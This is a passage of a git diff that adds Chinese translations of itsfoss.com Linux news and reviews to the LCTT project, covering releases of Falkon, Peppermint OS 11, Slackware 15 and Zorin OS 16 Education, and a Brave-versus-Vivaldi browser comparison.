Logseq 了吗?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/logseq/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/logseq.png?resize=800%2C450&ssl=1 +[2]: https://itsfoss.com/obsidian-markdown-editor/ +[3]: https://itsfoss.com/use-onedrive-linux-rclone/ +[4]: https://itsfoss.com/insync-linux-review/ +[5]: https://linuxhandbook.com/rsync-command-examples/ +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/logseq-screenshot.jpg?resize=800%2C602&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/logseq-themes.jpg?resize=800%2C479&ssl=1 +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/logseq-screenshot-1.jpg?resize=800%2C603&ssl=1 +[9]: https://logseq.github.io/#/page/Contents +[10]: https://github.com/logseq/logseq/releases +[11]: https://flathub.org/apps/details/com.logseq.Logseq +[12]: https://itsfoss.com/use-appimage-linux/ +[13]: https://itsfoss.com/flatpak-guide/ +[14]: https://logseq.com/ diff --git a/published/202202/20220202 KDE-s Falkon Browser Adds Screen Capture and PDF Reader with its Latest Update in 3 Years.md b/published/202202/20220202 KDE-s Falkon Browser Adds Screen Capture and PDF Reader with its Latest Update in 3 Years.md new file mode 100644 index 0000000000..21fb9c5021 --- /dev/null +++ b/published/202202/20220202 KDE-s Falkon Browser Adds Screen Capture and PDF Reader with its Latest Update in 3 Years.md @@ -0,0 +1,90 @@ +[#]: subject: "KDE’s Falkon Browser Adds Screen Capture and PDF Reader with its Latest Update in 3 Years" +[#]: via: "https://news.itsfoss.com/falkon-browser-3-2-release/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14250-1.html" + +KDE Falkon 浏览器三年来首次更新 +====== + +> Falkon 的最新版本带来了截屏功能和基于 PDFium 的 PDF 阅读器以及其他改进。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/falkon-3-2-release.png?w=1200&ssl=1) + +如果你是 KDE 的粉丝,你肯定接触过,甚至使用过 Falkon。所以,你一定会惊喜地发现,KDE 已经成功地为他们的网络浏览器发布了新的重大升级。 + +与其他主流网络浏览器不同,Falkon 的更新并不频繁。这个最新发布的版本是一个令人兴奋的更新,在间隔了近三年之后! + +补充一句,[Falkon][1] 是一个建立在 QtWebEngine 上的简单的开源网络浏览器。它最初被称为 QupZilla,后来在 KDE 旗下被重新命名为 Falkon。 + +虽然并不是新浏览器,它早在 2010 年就发布了,但它为普通用户提供了一种极简的浏览体验。 + +![][2] + +### Falkon 3.2.0 有什么新内容? + +即使你现在安装的是最新版本,Falkon 也没有定期提供安全更新。 + +因此,你可以考虑将 Falkon 作为满足特定要求的浏览器或作为辅助浏览器。 + +下面是这个版本的新内容: + +#### 截屏和 PDF 阅读器支持 + +最新的版本带来了急需的截屏功能和可选的基于 PDFium 的 PDF 阅读器。这两个都是基于 Qt 5.13 的版本。 + +#### 主题和插件 + +对下载主题和扩展的初步支持也被添加进来了,同时偏好菜单也显示了对 KDE 商店的链接。此外,用户现在也可以删除本地安装的主题和插件。 + +![][7] + +#### 书签 + +由于有了上下文菜单项,用户现在可以创建文件夹并存储书签。人们已经注意到,填充书签栏和创建顶级的书签的能力已经没有了。 + +#### 其他功能 + + * 在 Falkon 中添加的一个非常常见但又必不可少的功能是暂停或恢复下载的能力。 + * 更新的 CookieManager 现在允许同时选择一个以上的 cookie。 + * 首选项扩展现在可以筛选查找。 + * 用户现在可以通过上下文菜单分离标签。 + * 现在包括 NetworkManager 集成。 + +要了解更多关于所有的技术变化,你可以参考 [官方发布说明][3]。 + +![][4] + +### 总结 + +Falkon 的最新版本表明 KDE 仍然计划继续支持它。这对 KDE 爱好者来说是个好消息,特别是对那些使用 Falkon 的人来说。但是,现在说他们是否计划定期推送更新,使其成为日常浏览的理想选择,还为时过早。 + +如果你觉得一个简单的、轻量级的网络浏览器就可以,而且有很好的广告屏蔽功能,一个与 KDE 桌面融合的浏览器,Falkon 是一个必须尝试的东西。 + +安装是非常直接的。你可以在你的软件库中找到它,或者使用 Flatpak 或 [Snap 包][5] 安装它。如果你想知道,它也可用于 Windows 用户。 + +- [下载 Falkon 3.2.0][6] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/falkon-browser-3-2-release/ + +作者:[Rishabh Moharir][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/falkon-browser/ +[2]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/Falkon_1.png?w=1450&ssl=1 +[3]: https://www.falkon.org/2022/01/31/320-released/#disqus_thread +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/Falkon_3.png?resize=780%2C460&ssl=1 +[5]: https://snapcraft.io/falkon +[6]: https://www.falkon.org/download/ +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/falkon_2.png?w=1450&ssl=1 \ No newline at end of file diff --git a/published/202202/20220203 Peppermint 11 Debuts With Debian Linux, Drops Ubuntu and LXDE Components.md b/published/202202/20220203 Peppermint 11 Debuts With Debian Linux, Drops Ubuntu and LXDE Components.md new file mode 100644 index 0000000000..94eea3bbc6 --- /dev/null +++ b/published/202202/20220203 Peppermint 11 Debuts With Debian Linux, Drops Ubuntu and LXDE Components.md @@ -0,0 +1,107 @@ +[#]: subject: "Peppermint 11 Debuts With Debian Linux, Drops Ubuntu and LXDE Components" +[#]: via: "https://news.itsfoss.com/peppermint-11-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14246-1.html" + +Peppermint 11 发布:2022 年值得期待的发行版之一 +====== + +> 经过近三年的等待,Peppermint OS 11 来了,放弃了以 Ubuntu 作为其基础,并删除了 LXDE 组件。看起来不错! + +![](https://peppermintos.com/wp-content/uploads/2022/02/Peppermint-Desktop.webp) + +Peppermint OS 11 是 [2022 年最值得期待的版本][1] 之一,而它终于到来了! + +2020年,其主要开发者 Mark Greaves 不幸去世,Peppermint OS 失去了它最重要的贡献者之一。 + +现在,经过近两年的时间,Peppermint 11 来了!这不仅仅是一次普通的升级,Peppermint 11 是它的第一个以 Debian 为基础的版本,抛弃了 Ubuntu。 + +让我在下面指出该版本的所有关键细节。 + +### Peppermint 11 有什么新东西? + +该版本的主要亮点是放弃 Ubuntu,使用 Debian 64 位作为其基础。 + +从技术上讲,它基于 [Debian 11 “Bullseye”][2] 的稳定分支。因此,你可以预期 Debian 的最新改进出现在 Peppermint OS 11 中。 + +除了新的基础之外,还有一些其他的变化,包括: + +#### XFce 4.16.2,无 LXDE 组件 + +![][3] + +Peppermint OS 利用 XFce 桌面环境与 LXDE 组件来提供混合体验。 + +Peppermint 11 已经删除了所有的 LXDE 组件,专注于提供一个 XFce 驱动的桌面体验。 + +#### Calamares 安装程序取代了 Ubiquity + +![][4] + +为了改善安装过程,Peppermint 11 使用了现代 Calamares 安装程序。 + +#### 新的欢迎应用程序 + +![][5] + +为了让你有一个良好的开端,Peppermint OS 现在包括一个新的欢迎应用程序,让你了解更多关于所使用的系统/组件,并安装开始使用所需的软件。 + +例如,你在 Peppermint 11 中没有预装默认的网络浏览器。你可以快速启动软件包选择器,安装 Firefox、GNOME、Tor、Falkon 和 Chromium 等浏览器。 + +![][6] + +#### 新的 Peppermint Hub + +新的 Peppermint Hub 合并了设置和控制中心来保持整洁,帮助你轻松管理系统。 + +![][7] + +#### 新的应用程序 + +该版本包括一个基于终端的广告屏蔽器,即 [hblock][8],可以在需要时启用或禁用。 + +![][9] + +Nemo 取代了 Thunar 作为默认的文件管理器,它应该感觉很熟悉,对许多用户来说可以派上用场。 + +#### 其他改进 + +总的来说,有了新的基础和更新的 Linux 内核 5.10,Peppermint 11 应该是一个令人兴奋的选择。 + +在 [发布说明][10] 中的一些其他变化包括: + + * 在安装过程中包含了一套精简的桌面墙纸。下载额外的壁纸请进入 Peppermint 中。 + * 包括一套精简的图标和 XFce 主题。 + +- [Peppermint OS 11][11] + +现在 Peppermint OS 11 来了,你会考虑在你的主系统上尝试一下吗?你已经试过了吗?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/peppermint-11-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/linux-distro-releases-2022/ +[2]: https://news.itsfoss.com/debian-11-feature/ +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/peppermint-os-11-neofetch.png?w=790&ssl=1 +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/peppermint-os-11-installer.png?w=1087&ssl=1 +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/peppermint-os-11-welcome.png?w=895&ssl=1 +[6]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/peppermint-os-11-software-package.png?w=718&ssl=1 +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/peppermint-os-11-hub.png?w=764&ssl=1 +[8]: https://github.com/hectorm/hblock +[9]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/peppermint-os-11-nemo.png?w=849&ssl=1 +[10]: https://peppermintos.com/2022/02/peppermint-release-notes/ +[11]: https://peppermintos.com/guide/downloading/ diff --git a/published/202202/20220204 Oldest Active Linux Distro Slackware Finally Releases Version 15.md b/published/202202/20220204 Oldest Active Linux Distro Slackware Finally Releases Version 15.md new file mode 100644 index 0000000000..b1b2d75546 --- /dev/null +++ b/published/202202/20220204 Oldest Active Linux Distro Slackware Finally Releases Version 15.md @@ -0,0 +1,131 @@ +[#]: subject: "Oldest Active Linux Distro Slackware Finally Releases Version 15" +[#]: via: "https://news.itsfoss.com/slackware-15-release/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14243-1.html" + +最古老的活跃 Linux 发行版 Slackware 终于发布了第 15 版 +====== + +> 带着 Linux 内核 5.15 LTS 和 KDE Plasma 5.23 的最新改进,Slackware 15.0 已经来到。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/Slackware-15-release.png?w=1200&ssl=1) + +欢呼吧!Linux 粉丝们会很高兴地知道,传奇发行版 Slackware 在很久之后发布了一个新版本。或许你不知道,Slackware 上一个版本的发布要追溯到 2016 年。 + +当开发者在去年(2021 年)2 月宣布 Slackware 15.0 的计划时,整个 Linux 社区都为此感到兴奋。 + +从年初的 Alpha 版本开始,在过去的一年里,开发人员在 Slackware Linux 15.0 的开发中取得了快速进展。经过一段时间后,他们发布了其最后一个候选版本,但现在它发布了! + +让我们来看看 Slackware 15.0 有哪些新内容。 + +### Slackware 15.0 的新内容 + +![][1] + +如前所述,Slackware 15.0 有许多变化。不要忘了,在最终发布之前,它可是发布了一个测试版和两个候选发布版(RC)。 + +如果你一直在关注我们的报道,早在去年 4 月份你就可能已经看到了我们的 [测试版][2] 报道。 + +在测试版 / RC 版中,还有一些东西没有被披露。因此,在这里,我们会介绍它的所有重要内容。 + +#### Linux 内核 5.15 LTS + +Slackware 15 的主要亮点是增加了最新的 [Linux 内核 5.15 LTS][3]。这与我们在测试版中注意到的 Linux 内核 5.10 LTS 相比,有了很大的飞跃。 + +![][4] + +值得注意的是,Slackware 团队在确定使用 Linux 内核 5.15.19 之前测试了数百个 Linux 内核版本。在发布说明中提到: + +> 在最终宣布 Slackware 15.0 稳定版的过程中,我们在过去一年里实际上构建了超过 400 个不同的 Linux 内核版本(相比之下,我们在开发 Slackware 14.2 时测试了 34 个内核版本)。在 Greg Kroah-Hartman 确认 5.15.19 版内核将获得至少到 2023 年 10 月(很可能比这更久)的长期支持后,我们最终选择了它。 + +如果你感到好奇,Linux 内核 5.15 带来了一些更新,如增强的 NTFS 驱动支持和对英特尔 / AMD 处理器以及苹果 M1 芯片的改进。它还增加了对英特尔第 12 代处理器的初步支持。 + +总的来说,有了 Linux 内核 5.15 LTS,对于这个最古老的活跃 Linux 发行版,你应该会得到良好的硬件兼容性。 + +Linux 内核提供了两种版本,一种是带驱动的,不需要 initrd;另一种是依靠 initrd 来加载内核模块。发行说明中提到了更多关于它的内容: + +> 像往常一样,内核提供了两种类型:通用内核和巨型内核。巨型内核包含足够多的内置驱动程序,在大多数情况下不需要 initrd 来启动系统。通用内核需要使用 initrd 来加载挂载根文件系统所需的内核模块。使用通用内核可以节省一些内存,并可能避免一些启动时的警告。我强烈建议使用通用内核以获得最佳的内核模块兼容性。 + +#### KDE Plasma 5.23 和 Xfce 4.16 + +谈到 KDE,你应该会发现 KDE Plasma 软件包更新到了 5.23,而 KDE 框架则更新到了 5.88 版本。 + +[KDE Plasma 5.23][5] 是 KDE 的 25 周年纪念版,包括了 UI 的改进,以及一系列细微的变化来改善用户体验。 + +除此之外,Slackware 15 还配备了 Xfce 4.16 作为桌面环境选项之一。 + +#### 对 PipeWire 和 Wayland 的支持 + +作为 PulseAudio 的替代品,Slackware 15 加入了对 PipeWire 的支持。 + +而且,对于那些想摆脱 X11 的用户来说,对 Wayland 的支持也在这个版本中出现。 + +#### 32 位支持 + +因为 Slackware 是 [适合 32 位系统的 Linux 发行版][6] 之一,最新版本提供了特定的内核版本来支持它。 + +从技术上讲,有 SMP 和非 SMP 内核,分别用于单核和多核处理器。 + +建议使用 SMP 内核以获得更好的性能和内存管理,但是如果你的处理器比奔腾 3 还要老,非 SMP 内核应该会派上用场。 + +#### 其他改进 + +![][7] + +一些技术上的升级包括 GCC 编译器升级到 11.2.0 版本。相当多的安全和错误也得到了解决。 + +公告上还说,开发人员正专注于将 Python 更新到 3.3.4 版本,以修复 Samba 的构建。 + +其他基本软件包和应用程序,如网络管理器、OpenSSH、Krita、Falkon 浏览器和 Ocular 也得到了升级。Mozilla Firefox 和 Thunderbird 也被更新到它们最新的可用软件包。 + +如果你想获得这个版本的所有技术细节,你可以查看 [官方更新日志][8]。其它一些重要的内容包括: + + * 改进了 Slackware pkgtools,使软件安装体验无障碍,消除了并行冲突。 + * Slackware 15 首次包括一个 `make_world.sh` 脚本,以帮助从源代码重建整个操作系统。 + * 增加了更多的脚本,以方便重建安装程序和内核包。 + * 抛弃了 Qt4,转而使用 Qt5。 + * 增加了对特权访问管理Privileged Access Management(PAM)的支持,以支持那些不支持影子shadow密码的较新项目。 + +值得注意的是,你不能简单地从 Slackware 14.2 升级。因此,最好是进行一次全新的安装。 + +- Slackware 15 x86_64: ftp://ftp.slackware.com/pub/slackware-iso/slackware64-15.0-iso +- Slackware 15 x86_32: ftp://ftp.slackware.com/pub/slackware-iso/slackware-15.0-iso + + +无论是哪种情况,你都应该保留一份数据备份,如果你对使用新的 ISO 安装不感兴趣,可以尝试按照 [官方升级说明][10] 来进行。 + +### 总结 + +Slackware 是最古老的仍然活跃的 Linux 发行版,我很高兴看到 Slackware 有了新的版本。 + +虽然它仍然推荐给有经验的用户或手工爱好者使用,但最新的 Slackware 15.0 也支持 UEFI 和旧系统。如果你正在寻求冒险,并希望为你的桌面安装一个独特的 Linux 发行版,你可以试试 Slackware 15。 + +你用过 Slaceware 吗?你会测试 Slackware 15.0 吗?你认为 Slackware 的未来会是怎样的呢? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/slackware-15-release/ + +作者:[Rishabh Moharir][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/slackware-15-screenshot.png?w=1278&ssl=1 +[2]: https://news.itsfoss.com/slackware-15-beta-release/ +[3]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/slackware-15-about.png?w=775&ssl=1 +[5]: https://news.itsfoss.com/kde-plasma-5-23-release/ +[6]: https://itsfoss.com/32-bit-linux-distributions/ +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/slackware-firefox.png?w=679&ssl=1 +[8]: http://www.slackware.com/changelog/current.php?cpu=x86_64 +[9]: http://www.slackware.com/ +[10]: https://ftp.osuosl.org/pub/slackware/slackware64-15.0/UPGRADE.TXT diff --git a/published/202202/20220204 Zorin OS 16 Education is a Linux Distro That Makes Learning More Accessible.md b/published/202202/20220204 Zorin OS 16 Education is a Linux Distro That Makes Learning More Accessible.md new file mode 100644 index 0000000000..343ea893fd --- /dev/null +++ b/published/202202/20220204 Zorin OS 16 Education is a Linux Distro That Makes Learning More Accessible.md @@ -0,0 +1,98 @@ +[#]: subject: "Zorin OS 16 Education is a Linux Distro That Makes Learning More Accessible" +[#]: via: "https://news.itsfoss.com/zorin-os-16-education-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14240-1.html" + +Zorin OS 16 教育版:一个让学习更容易的 Linux 发行版 +====== + +> Zorin OS 16 教育版的重点是离线学习和新的教育应用程序,为学校和学生提供帮助。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/zorin-16-education-release.png?w=1200&ssl=1) + +Zorin OS 16 是 2021 年最令人印象深刻的发行版之一。你或许想先了解一下 [Zorin OS 16][1] 和 [Zorin OS 16 精简版][2] 的信息。 + +现在,经过一段时间,Zorin OS 团队终于决定发布 Zorin OS 16 教育版。 + +可以预期包含 Zorin OS 16 的所有改进,以及为教育而量身定做的具体修改。 + +请注意,教育版的 Zorin OS 16 是完全免费下载的。对于旧电脑,你还可以使用精简教育版。 + +### Zorin OS 16 教育版有什么新内容? + +Zorin OS 16 教育版的重点是以离线为先的学习体验。换句话说,它包括一个合格的教育内容集,不需要上网就可以访问。 + +为了实现这一目标,Zorin OS 16 包括了 [Kolibri][3],这是一个自由开源的教育解决方案,支持自定进度的学习,并通过本地 Wi-Fi 网络进行同步/共享。 + +因此,即使没有互联网,你也可以依靠点对点的连接来分享教育内容,进行协作,并继续学习,不受任何干扰。 + +学校管理者还可以创建自己的课程,并从可汗学院、Open Stax、麻省理工学院等来源下载现成的资源。 + +当然,管理员需要互联网接入才能做到这一点。但是,一旦你下载了内容,就可以在没有互联网接入的情况下轻松地在本地网络上分享,从而使分发教育内容成为可能。 + +除了 Kolibri 之外,Zorin OS 16 还出炉了新的教育应用程序,其中一些是: + +#### Minder:将想法和笔记可视化 + +![][4] + +与 [Obsidian][5] 和 [Logseq][6] 类似,Minder 是一个更简单有效的思维导图工具,帮助你将笔记和想法可视化,而进行头脑风暴会议。 + +#### Foliate:电子书阅读器 + +![][7] + +[Foliate][8] 是一个令人印象深刻的 Linux 电子书阅读器应用。它应该能让学生/教师提高阅读体验,也能在需要时提供公共领域书籍的下载。 + +#### OpenBoard:交互式白板 + +![][9] + +我最近报道了 [OpenBoard][10],作为我们的应用亮点之一。它是一个自由开源的白板,应该会让老师和学生也感到有趣。 + +OpenBoard 应该有助于通过工具以及应用程序与多媒体内容互动的能力来改善学习过程。 + +#### Minuet:音乐教学 + +Minuet 专注于帮助你向学生教授音乐。你会发现视觉队列,以及和弦、音阶等方面的练耳练习。 + +#### 其他改进措施 + +根据你的系统配置,可以选择 Zorin OS 16 教育版或 Zorin OS 16 精简教育版。 + +这两个教育版应该会带来更快、更漂亮的桌面体验,可以访问更多的应用程序。 + +Zorin OS 16 教育版支持到 2025 年 4 月。 + +你可以从其官方网站下载 Zorin OS 16 教育版及其精简版。 + +- [Zorin OS 16 教育版][11] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/zorin-os-16-education-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/zorin-os-16-features/ +[2]: https://news.itsfoss.com/zorin-os-16-lite-release/ +[3]: https://learningequality.org/kolibri/ +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/minder.png?resize=1568%2C870&ssl=1 +[5]: https://itsfoss.com/obsidian-markdown-editor/ +[6]: https://itsfoss.com/logseq/ +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/foliate.png?w=1300&ssl=1 +[8]: https://itsfoss.com/foliate-ebook-viewer/ +[9]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/openboard.png?w=900&ssl=1 +[10]: https://linux.cn/article-14212-1.html +[11]: https://zorin.com/os/education/ diff --git a/published/202202/20220205 Brave vs Vivaldi- Which Chromium-Based Browser is Better.md b/published/202202/20220205 Brave vs Vivaldi- Which Chromium-Based Browser is Better.md new file mode 100644 index 0000000000..19f430d1cb --- /dev/null +++ b/published/202202/20220205 Brave vs Vivaldi- Which Chromium-Based Browser is Better.md @@ -0,0 +1,194 @@ +[#]: subject: "Brave vs Vivaldi: Which Chromium-Based Browser is Better?" +[#]: via: "https://itsfoss.com/brave-vs-vivaldi/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "imgradeone" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14255-1.html" + +Brave vs Vivaldi:哪个浏览器更好? +====== + +![](https://img.linux.net.cn/data/attachment/album/202202/09/085908mzxi9q2kexpb8gvv.jpg) + +毫无疑问,Brave 是一款出色的开源网页浏览器。它也是 [适用于 Linux 的最佳网页浏览器][1] 之一。 + +另一方面,Vivaldi 凭借其强劲的自定义能力和标签页管理功能,在 Linux 用户群中获得了不错的声誉。 + +Vivaldi 是否值得一试?它开源吗?为什么你会更喜欢 Brave 而不是它?或者,是否应该考虑使用 Vivaldi 呢? + +在此,我将解答上述所有问题,并对这两款浏览器进行并列比较。 + +### 用户界面 + +![][2] + +虽然这两款网页浏览器都是基于开源的 Chromium 代码,但是它们提供了不同的用户体验。 + +Brave 专注于提供简洁的外观,而 Vivaldi 则尽力提供更多的功能。 + +如果你不想受到过多干扰,只想专心浏览网页,那么 Brave 应该能给你提供清爽的体验。 + +不过,Brave 也为你提供了定制现有界面的选项,例如使用更宽的地址栏、显示完整 URL、显示标签搜索按钮、显示或隐藏主页按钮等。 + +![][3] + +说到主题,Brave 默认提供了亮色和暗色两款主题,同时也支持 Chrome 应用商店中的主题。 + +反观另一边,Vivaldi 默认情况下看上去似乎有点满满当当的 —— 能够快速访问的侧边栏、地址栏右边的搜索框,再加上浏览器底部还有更多要素。 + +Vivaldi 默认也提供了更多主题。别忘了,你可以无缝地编辑、定制主题,而 Brave 可没有这种功能。 + +![][4] + +对于那些想要一款简洁明了,同时可以自定义的浏览器的人来说,Brave 就是合适的推荐项。而对于那些需要丰富的界面和大量设置项的用户来说,Vivaldi 是个不错的选择。 + +### 完全开源 vs 99% 开源 + +Brave 是完全开源的,可以免费 / 自由使用。你可以在 GitHub 上查看它的源代码,如果需要的话还可以复刻Fork一份代码以用于实验和测试。 + +Vivaldi 的话,呃……只能说是几乎开源。整个浏览器基于 Chromium 开发,而修改过的 Chromium 源代码可以在它的官网中找到。不过,这款浏览器的用户界面却是专有的。 + +为确保提供独特的用户体验,并保持对它的控制权,Vivaldi 决定将用户界面闭源。 + +不过,他们在一篇 [博文][5] 中解释得很清楚。 + +### 标签页管理 + +![][6] + +对于大多数用户来说,这可能不算是一个比较标准,但考虑到 Vivaldi 以其标签页管理功能而著名,因此这一点仍旧值得比较。 + +在你打开了许多标签页时,标签页管理就会大有用场。如果你只开了少量的标签页,那你不需要同时考虑标签页管理,但它仍旧十分有用。 + +有了 Vivaldi,你可以体验两级堆叠标签栏,同时还可以拥有多个堆叠标签组。你还可以将标签栏从浏览器的顶部移动到左、右、底部。 + +标签的默认行为都可以修改。紧凑标签组可以修改为折叠式,标签宽度可以更改,按钮可选择显示或隐藏,还有许多配置项。 + +Brave 同样可以分组标签、指定颜色、命名标签组,以及展开、折叠标签组,以便管理。 + +![Brave 的标签页管理][7] + +不过,在 Brave 里就没有 Vivaldi 那样的两级标签栏,以及自定义标签行为的功能。 + +此外,我个人认为 Brave 的标签管理(在开启暗色模式时)看上去有点混乱不堪。 + +当然,你可以决定新标签页展示什么内容,但这远远不及 Vivaldi 大量选项那么有用。 + +所以,在标签页管理这一方面,Vivaldi 明显完胜。不过,一切仍取决于你的实际需求。如果你不在多个标签页中反复横跳,那你其实也不需要什么额外的东西。 + +### 其他功能 + +两款浏览器都提供了所有基本功能,但你仍旧可以发现许多区别。 + +Brave 支持 IPFS 协议,你也可以使用 Brave 奖励功能,并通过由 Brave 提供的尊重隐私的广告来获取奖励。这些奖励可作为赞助费用,以支持网站的创作者。这些奖励同样也可以用于购买来自合作伙伴的 Brave 周边。 + +![][8] + +Brave 搜索是 Brave 浏览器的默认搜索引擎。虽然这款搜索引擎并非开源,但 Brave 搜索所带来的功能足以使其成为其他隐私保护型搜索引擎的适当替代品。 + +来到 Vivaldi 这边,它提供了大量额外功能,包括侧边栏的 Web 面板、番茄钟、页面平铺、日历集成、电子邮箱集成、RSS 订阅等。 + +侧边栏(或者叫 Web 面板)允许你快速访问内容,不需额外新建标签或窗口,让你轻松进行多任务处理,而不会失去对当前活跃标签的专注。 + +![][9] + +当然,它还有内置的翻译功能,让你能在不懂网站的语言时摆脱谷歌翻译。 + +除了这些功能以外,Vivaldi 允许你修改键盘快捷键、鼠标手势,以及大量快捷命令。在 Brave 里可没有这些东西。 + +因此,我认为 Vivaldi 对于喜欢键盘快捷键的人来说是一个不错的选择。 + +### 隐私一角 + +![][10] + +Vivaldi 专注于提供隐私友好型网络体验,就和 Brave 一样。它内置了原生的广告 / 跟踪拦截保护,以及专门用于自行调整体验的隐私设置。 + +就如上方的截图那样,你可以选择启用或禁用谷歌的安全服务,隐藏输入历史,修改历史记录的存储行为,并修改默认的网站权限。 + +![][11] + +Brave 同样给你类似的控制级别,当然也有更高级的设置项,比如修改 WebRTC IP 处理政策,以及消息推送服务控制。 + +如果你单纯想要拦截跟踪器和广告的功能,那么两款浏览器都有。不过,如果你更担心某项特定需求,那你可以试着查看它们的设置项,然后自行决定。 + +### 性能 + +![][12] + +一如既往,我借助一些知名的基准工具来测试浏览器的性能,例如:[JetStream 2][13]、[Speedometer 2.0][14] 和 [Basemark Web 3.0][15]。 + +我使用 Pop!\_OS 21.10 作为我的 Linux 发行版,而测试的浏览器版本为 **Vivaldi 5.0.2497.51 稳定版** 和 **Brave 97.0.4692.99**。 + +在这些基准跑分测试中,Brave 总体更快,但 Vivaldi 在 Speedometer 2.0 中得分更高。 + +作为参考,我后台没有运行任何程序,只运行了浏览器。电脑配置为 **英特尔 15-11600K @4.7GHz、32GB 3200 MHz 内存、英伟达 1050Ti 显卡**。 + +因此,两款浏览器都应该能带来快速、便捷的网络体验。 + +### 安装 + +Vivaldi 在它的 [官网][16] 提供了最新的 DEB/RPM 软件包,而且同样支持 ARM 设备。不过目前稳定版本的 Vivaldi 暂时不提供 Flatpak 和 Snap 版本。 + +![][17] + +另一边,Brave 并没有直接在官网提供这些软件包。你必须 [在终端中输入一组命令][18] 以安装 Brave,至少这是官方推荐的安装方式。 + +![][19] + +你也能下载 [Snap 版软件包][20],但这并非是最佳方法,官方也承认有许多问题存在。 + +但无论如何,你都可以查阅我们的 [在 Fedora 上安装 Brave 的指南][21] 以获得帮助。 + +### 最终结论 + +如果说到开源浏览器,那 Brave 占绝对优势,毕竟它是完全开源的。不过,Vivaldi 对于隐私型网络体验的承诺,以及对 Linux 平台的重视,反而更具吸引力。 + +从功能上看,Vivaldi 的标签页管理功能已经是极具竞争力的选择,它可以帮助你在大量标签中更加游刃有余。 + +需要注意的是,Vivaldi 的双显示器体验似乎不太友好(至少在我这边是这样的)。目前来看,Vivaldi 在我的双显示器环境下出现卡顿,甚至无响应,但在单显示器上从来没有这种情况。 + +而 Brave 就没有这种问题。因此,建议你自行测试一下。 + +Brave 提供简洁和快速的体验,Vivaldi 则更适合那些喜欢更多自定义配置和丰富界面的用户。 + +考虑到 Vivaldi 